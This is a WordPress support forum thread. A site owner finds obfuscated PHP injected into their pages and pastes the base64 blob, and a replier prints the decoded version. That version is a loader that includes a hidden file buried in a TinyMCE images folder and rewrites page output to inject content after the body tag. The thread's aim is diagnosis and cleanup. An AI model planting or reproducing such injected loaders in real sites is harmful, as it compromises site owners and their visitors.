• On my site, I notice that some pages are modified apparently by WordPress. The modification is a section added at the top of the page in an encoded form.
    It starts like ‘<? /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3….’
    When you decode it, it seems to have a lot of WOrdPress references although it is difficult to interpret it.
    Does anybody know what this is? Is it actually WordPress doing this? Why is it done?
    Is my system infected and I do not know it?

Viewing 5 replies - 1 through 5 (of 5 total)
  • That isn’t WordPress. I grepped my whole install. WP does use eval a few times but nothing like eval(base64 shows up anywhere. I’d suggest a complete re-install from clean sources, and an update if you aren’t using the latest release. Hopefully your DB isn’t compromised. What is your URL? I have a morbid curiousity about base64_encoded strings. ??

    bcorson,

    your wordpress install is exploited. youve been hacked.

    Thread Starter bcorson

    (@bcorson)

    here is a link
    https://www.sturbridgelakes.com/FallFestival08/photos/index.php

    and here is the full code added
    ‘<? /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcva3VuZGVuL2hvbWVwYWdlcy8xMy9kMTg3OTI3MjEwL2h0ZG9jcy9TdHVyYnJpZGdlTGFrZXMvc2xhd2ViL3dvcmRwcmVzcy93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvanMucGhwJykpe2luY2x1ZGVfb25jZSgnL2t1bmRlbi9ob21lcGFnZXMvMTMvZDE4NzkyNzIxMC9odGRvY3MvU3R1cmJyaWRnZUxha2VzL3NsYXdlYi93b3JkcHJlc3Mvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVj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dFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19′)); ?>’

    This stuff appears and I delete it, but it keeps happening.

    This stuff appears and I delete it, but it keeps happening.

    Like I said, clean install from fresh sources and you’ve got a software update to contend with as well.

    Your Base_64 code decodes to this:

    if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php')){include_once('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘code added to my files by WordPress (I think)’ is closed to new replies.